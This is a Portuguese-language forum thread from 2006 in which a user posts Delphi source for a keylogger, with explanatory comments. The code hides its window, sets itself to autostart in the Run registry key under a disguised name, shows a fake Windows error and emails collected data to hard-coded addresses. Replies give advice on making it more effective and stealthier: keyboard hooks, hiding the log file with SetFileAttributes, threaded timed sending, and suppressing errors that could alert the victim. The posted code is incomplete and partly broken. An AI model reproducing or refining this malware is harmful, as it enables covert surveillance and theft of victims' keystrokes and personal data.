[Code] Xtreme Keylogger 2.0

Started by Hacker Xtreme, 18 de November , 2006, 02:58:42 PM

Previous topic - Next topic

0 Members and 2 Guests are viewing this topic.

Hacker Xtreme

E ae pessoal blz? Primeiro, desculpa ae pelos outros tópicos (sou mto estorado :P)
segundo, sei que mta gente n entendeu o keylogger como funciona e etc... então resolvi mexer nele... coloquei algumas coisas e quase em todas as linhas tem explicação do que faz...
Espero que ajude alguém, aqui em casa deu erro no smtp só, pq to sem discador, dai minha net n aceita xD... deve ter algum bug por ai mais ta valendo é para estudos.. qualquer coisa to aqui para ajudar e solucionar... e se eu não souber vamos consultar nosso amigo Google ^^


Código:


unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, Menus, ComCtrls, IdMessage, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdMessageClient, IdSMTP, Registry, ShellAPI,
  IdIPWatch;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    Timer1: TTimer;
    IdSMTP1: TIdSMTP;
    IdMessage1: TIdMessage;
    Timer2: TTimer;
    IP: TIdIPWatch;
    Memo2: TMemo;
    procedure Timer1Timer(Sender: TObject);
    procedure PegaInfo;
    procedure Envia;
    procedure Verifica;
    procedure Config;
    procedure Salvar;
    procedure Copiar;
    procedure FormCreate(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Reg : TRegistry; // FALA QUE REG É O TREGISTRY
 
implementation

{$R *.dfm}

// **************************************************************
// VERIFICA SE ESTA CONECTADO NA INTERNET
// **************************************************************

procedure TForm1.Verifica;
var
IP : TIdIPWatch;
begin
if IP.LocalIP = '127.0.0.1' then
MessageBox(Application.Handle, 'Houve um erro interno no sistema!', 'Microsoft Windows', MB_ICONERROR+MB_OK)
else
Form1.Envia;
end;

// **************************************************************
// EXECUTA O PROGRAMA
// **************************************************************

procedure ExecutePrograma(Nome, Parametros: String);
Var
 Comando: Array[0..1024] of Char;
 Parms: Array[0..1024] of Char;
begin
  StrPCopy (Comando, Nome);
  StrPCopy (Parms, Parametros);
  ShellExecute (0, Nil, Comando, Parms, Nil, SW_ShowMaximized);
end;

// **************************************************************
// PEGA INFORMAÇÕES DO COMPUTADOR
// **************************************************************

procedure TForm1.PegaInfo;
var
info1, info2, info3, info4, info5, info6 : String;
begin
// PEGA O NOME DO COMPUTADOR
Reg := TRegistry.Create;
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows Media\WMSDK\General', False);
info1 := Reg.ReadString('ComputerName');
Reg.CloseKey;

// PEGA O PROCESSADOR
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('HARDWARE\DESCRIPTION\System\CentralProcessor\0', False);
info2 := Reg.ReadString('ProcessorNameString');
Reg.CloseKey;

// PEGA A VERSÃO DO WINDOWS
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion', False);
info3 := Reg.ReadString('ProductName');
Reg.CloseKey;

// PEGA O MENUSHOWDELAY
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('control Panel\Desktop', False);
info4 := Reg.ReadString('MenuShowDelay');
Reg.CloseKey;

// PEGA A PÁGINA INICIAL DO INTERNET EXPLORER
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', False);
info5 := Reg.ReadString('Start Page');
Reg.CloseKey;

// PEGA A BIOS
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('HARDWARE\DESCRIPTION\System', False);
info6:= Reg.ReadString('SystemBiosDate');
Reg.CloseKey;
end;

// **************************************************************
// CONFIGURAÇÕES DO KEYLOGGER
// **************************************************************

procedure TForm1.Config;
begin
Application.ShowMainForm := False;  // NÃO APARECE A TELA PRINCIPAL
Reg := TRegistry.Create; // CRIA UMA ENTRADA NO REGISTRO, PARA INICIALIZAR COM O SISTEMA
Reg.RootKey := HKEY_LOCAL_MACHINE; // FALA QUE ROOT KEY QUE É
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False); // ABRE A CHAVE
Reg.WriteString('SOUNDMAN', Application.ExeName); // REGISTRA COMO SOUNDMAN (SOM DO WINDOWS)
Reg.CloseKey;
end;

// **************************************************************
// ENVIA E-MAIL
// **************************************************************

procedure TForm1.Envia;
var
Lista : TStringList;
info1, info2, info3, info4, info5, info6 : String; // ALGUMAS STRINGS UTILIZADAS PARA PEGAR INFORMAÇÕES
begin
IdSMTP1.Host := 'sevennight.1@gmail.com'; // EMAIL DE QUEM ENVIA
IdMessage1.From.Name := 'Xtreme'; // NOME DE QUEM ENVIA
IdMessage1.Recipients.EMailAddresses := XTREME@ANJOSDAREDE.NET OU MARCOSANTONIO2007@IBEST.COM.BR
end.





...by Xtreme

RC

...xtreme


Foi como eu tinha te falado no msn, o forúm é um espaço para divulgar e ampliar o conhecimento de todos,
e devemos ser maduros ao lidar com crítcas.

Naum testei o kl aki, mas pelo source eu jah te dei aquelas sujestoões no msn, sobre verficar se a máquina ta conectada ou naum, essas msg desnecessárias, e tratar erro dos sockets.
 
Parabéns, e naum seja afobado...

"Procurar informações é o primeiro passo para o conhecimento, Compartilha-las é o primeiro passo para a Comunidade"

Rox_nxr (Obs: Por favor algum admin ae, apaga meu user rox_nxr pra que eu possa voltar a postar como rox_nxr...)

shake

Falae cara!
Vou testar o Kl aqui e vou ver a parada do SMTP, qualquer bug aqui eu posto pra vc!
Mas parabéns pelo trabalho!
Source ótimo pra estudos bem explicado!
Compilando...

Abração

Hacker Xtreme

Aew SHAKE, valeu msm mais tem bug no smtp e no verifica conexão :P eu to arrumando ake o rox_nxr q me alerto ^^

caesar2k

com o método de GetAsyncKeyState/GetKeyState, é somente local, ou seja, vai depender da configuração do teclado da pessoa. Um ~ pode ser um [, ou um `, um ! pode ser um \, e por aí vai. E a coisa complica mais ainda quando é de outra língua, que usa outro tipo de teclado sem letras latinas, como o cirílico (russo), ou o norueguês. Nesse caso, o correto seria usar um keyboard hook, com, se possível, ToUnicodeEx, no vKey e no ScanCode da tecla pressionada, daí pode variar pra qualquer língua que vai pegar corretamente a letra correspondente.

Anonymous

Ola pessoal, resolvi responder alguns tópicos aqui então lá vai, aos poucos poderam ver algumas respostas minhas, bom mas enfim o caesar2k, realmente tem razão é preciso se utilizar de Hooks para capturar e filtrar operações no teclado que sejam válidas à todas as línguas, e não somente a latina,

Extreme, será necessário você modificar totalmente o sistema de captura dele, também devo chamar a atenção para o timer, por ser um timer de processamento realmente devera utilizar bastante memória em seu processamento, se você trocar o sistema para hook você vai melhorar o desempenho do loop de captura consideravelmente.

Ricardo Silva
[]s.

TGA

TGA

Bom cara, primeira mente parabens pelos estudos,
mais tenho algumas dicas para para dar em relação a esse codigo,

QuoteReg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', False); // ABRE A CHAVE
Bom, o false no codigo acima significa que se a chave não existir ela naum vai criar,
e como que se trata de um programa que tenha que inicar com o PC, vc tme que colocar
p parametro True, para se a chave Run não existe e cria, sacou  ;)


QuoteLocal='C:\WINDOWS\System\'; // LOCAL ONDE SERÁ COPIADO O KEYLOGGER QUANDO EXECUTADO
Mesma dica acima!

Quanto ao smtp faça da seguinte forma, apos insegir as informações necessarias.. faça..

try
  begin
    IdSMTP1.Connect; // CONECTA
     IdSMTP1.Send(IdMessage1); // ENVIA
  end
Except
  IdSMTP1.Disconnect; // DESCONECTA
end;

Tenho certeza de que vai funcionar  ;)


Bom o que o ricarfo disse sobre o timer é estremamente importante, isso consome muita memoria,
mais para amenizar o problema tenho serteza de que uma Thread resolveria o problema.

T++  cara... abraços...
"A IMAGINAÇÃO É MAIS IMPORTANTE QUE O CONHECIMENTO"
__________________________________________________________

Anonymous

Ola TGA, quanto tempo não? realmente pensei também em sugerir a implementação de uma thread, talvez até mesmo duas por que não?

Vejam o seguinte esquema:

Software - Keylog inicializa, escreve no registro faz os testes iniciais nos diretórios de sistema aloca suas copias de reserva e cria o arquivo log, na parte de criação do arquivo log quero lhe sugir que implemente o método de ocultamento pode ser aplicado facilmente com a utlização da api "SetFileAttributes()" ela recebe  dois parametros onde o primeiro é o 'caminho do arquivo à ocultar', e o segundo é uma 'flag de ocultamento', bom continuando após isto checagens feitas e tudo correndo bem, dispara uma thread que vai ficar em loop capturando os dados do teclado, o modo de captura você escolhe ou usando o timer e perdendo em desempenho run-time ou utilizando o hook como solução mais efetiva, após isto você poderia muito bem criar uma função de cálculo precisa do tempo necessário que vai se esperar para enviar o arquivo log a função é bem facil criar ela vai pegar o tick_time ( tempo corrido ) do sistema e vai esperar chegar em contagem correta do tempo que você precisa por exemplo se eu fosse implementar esperaria para enviar em 30 minutos ou seja ...

1 seg   = 1.000 ms
60 seg = 60.000 ms || 1 min

Caso fosse enviar em 10 min > Tn = (60.000 * 30) =  [36.000.000 ms] || 10 minutos
agora você se arruma e faz essa infíma conta para cálcular caso fosse 30 minutos

outra ídeia seria realizar este cálculo em uma thread sendo assim o processamento de captura de teclas iria ficar separado do processamento de tempo necessário (Tn), ainda iria sugerir você também disparar mais uma thread para a conexão smtp e o envio a thread envia faz o tratamento de erro o try/catch que o TGA lhe explicou, caso falhe você mata a thread e toma muito cuidado com os fárois e mutex para as threads não baterem uma na outra sei que parece um conceito complicado mais é bem simples implementar só vai começar a complicar mesmo se você quiser implementar  + de 15 threads ai sim você vai precisar ser um verdadeiro 'Guarda de Transito' para fazer com que as threads não se esbarrem e causem o alarde ao usuário com a mensagem de erro.

Bom acho que já escrevi demais, se me permitem vou me retirar agora e que seu software cresça extreme, parabéns pelo desenvolvimento leve em conta o que apontamos que você logo podera criar um keylog até mesmo com interface configuravel e muito mais ...

Até mais, sucesso !!

Ricardo Silva
[]s.

Hacker Xtreme

ae pessoal vlw pelo apoio :)...

...by Xtreme
(Meu nome começa com X rs...)

branco

timer pra capturas de teclas sempre tem algum erro , reparei no ardamax e ele é perfeito, oque fizeram pra ele pegar as teclas certinhas ? porque com um timer de 1 segundo, o timer pode nao pegar algumas letras, se for de meio segundo, o timer ainda pode nao pegar letras ou pegar letras a mais, porque uma pessoa digita mais rapida que a outa e vice versa. na maioria dos kls observei a velha historia do timer, mas sera oque usaram no ardamax ? eu nao estudei c++ talvez ele tenha uma estrutura melhor pra capturaçao de teclas, ou tambem utiliza timer ?, esquisito

t+
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Hacker Xtreme

hum... ai que está o que foi utilizado para fazer o amigo ardamax?

Anonymous

Hooks meus caros, eu e alguns amigos já explamos algumas coisas sobre se quer interceptar algo em um sistema 'tranque o evento e o filtre' ou se preferir melhor palavra 'enganchem' o evento, pode - se por ai saber por que se diz Hook.

Ricardo Silva
[]s.

OnlyOne

interessante mas algumas coisas podem ser feitas de maneiras nem mais simples
No céu toca Joy Division


branco

nao faz muita logica...mas vou testar.

pelomenos acho que no vb, nao tem esse sistema de "hook"

irei conferir...

se achar algo posto

t+
Olha o trem... Quem vai ficar, quem vai partir? Quem vai chorar, quem vai sorrir?

Anonymous

Qualquer linguagem pode se abster de Hook, basta saber implementar e mesmo que não possua por Default pode - se evocar diretamente da DLL com a api "GetProcAdress()"  ;D